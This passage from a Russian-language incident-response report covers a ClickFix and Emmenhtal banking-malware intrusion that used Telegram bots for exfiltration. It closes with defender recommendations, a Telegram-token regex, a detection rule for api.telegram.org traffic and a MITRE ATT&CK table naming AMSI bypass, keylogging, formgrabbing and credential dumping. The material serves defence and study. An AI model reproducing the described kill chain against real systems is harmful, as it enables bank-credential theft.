  4. Telegram как C2 — новая норма. 23 бота в одном инциденте. По данным Bitsight, ~1800 Telegram-ботов обрабатывают 5 млн+ украденных лог-файлов. Encrypted transport + глобальная доступность + простой API = идеальный C2.

  5. ClickFix + Emmenhtal — production-grade kill chain. ClickFix (фейковая CAPTCHA → clipboard → Win+R) + Emmenhtal (polyglot → AES → Reflection → fileless) — эта связка устойчива к большинству endpoint-защит. Метод #1 для initial access в 2025 (47% атак по Microsoft).

  6. MaaS-модель усложняет атрибуцию. Emmenhtal продаётся как сервис. Ваш IOC — не конкретная APT-группа, а клиент MaaS-платформы, арендующий инфраструктуру для доставки своего payload.

Рекомендации для IR-команд

  1. Никогда не переустанавливайте ОС до forensics. 30 минут на создание образа диска + дамп RAM дают на порядок больше доказательств.

  2. При raw-скане всегда вычитайте VDM. Без дисамбигуации ваш IOC-лист будет содержать тысячи ложноположительных.

  3. Не забывайте hiberfil.sys. Даже перезаписанный — его фрагменты могут подтвердить исполнение в RAM.

  4. Фильтруйте Telegram-токены. Паттерн [0-9]{10}:[A-Za-z0-9_-]{35} матчит Yandex banerid, JS-константы, CSRF-токены и бинарные данные.

Рекомендации для защитников

  1. Заблокируйте mshta.exe через AppLocker/WDAC. Легитимное использование в 99% сред равно нулю.

  2. Мониторьте Telegram Bot API на прокси/NGFW. Не-браузерные процессы, обращающиеся к api.telegram.org — триггер для алерта.

  3. Включите PowerShell Script Block Logging и Constrained Language Mode. Это два самых эффективных контрола против PowerShell-стадии Emmenhtal.

  4. Разверните Sysmon с правилами на цепочки процессов: mshta → powershell → powershell.

  5. Сегментируйте банковские рабочие станции. Бухгалтер, работающий с 8 банками, не должен иметь доступ к произвольным сайтам.

  6. Откажитесь от пиратского ПО на критичных станциях. WPI-наборы и пиратские активаторы — потенциальный вектор заражения и запускаются от SYSTEM.


MITRE ATT&CK Mapping

ID

Техника

Доказательство

T1204.001

User Execution: Malicious Link

ClickFix fake CAPTCHA

T1218.005

Mshta

40+ команд, основной вектор доставки

T1059.001

PowerShell

AES + Reflection + AMSI bypass

T1059.005

VBScript

mshta vbscript:execute(...)

T1059.007

JavaScript

mshta javascript:var _$_

T1027

Obfuscated Files

Base64, AES, polyglot PE+HTA

T1036.008

Masquerading: File Extension

.mp4 = PE+HTA polyglot

T1620

Reflective Code Loading

[Assembly]::Load() in-memory

T1562.001

Impair Defenses

AMSI bypass, trace disable

T1056.001

Keylogging

keylogger + screen recording

T1056.002

GUI Input Capture

formgrabber

T1185

Browser Session Hijacking

webinjects (Bank of America и др.)

T1003

Credential Dumping

Mimikatz (reflective)

T1111

Multi-Factor Auth Interception

SMS Grabber

T1567

Exfil Over Web Service

Telegram Bot API (23 бота)

T1572

Protocol Tunneling

ngrok C2

T1583.001

Acquire Infrastructure: Domains

.shop домены, Namecheap

S0508

ngrok

Вторичный C2 + доставка .dotm


Источники


Данное исследование проведено в рамках авторизованного расследования инцидента ИБ. Все данные, идентифицирующие пострадавшую организацию, анонимизированы. Инфраструктура атакующих (домены, IP-адреса, Telegram-токены) опубликована намеренно для защиты сообщества.

IOC доступны в форматах STIX 2.1, CSV, YARA и Sigma для прямого импорта в SIEM/EDR.

IDEANIX LLC — Digital Forensics & Incident Response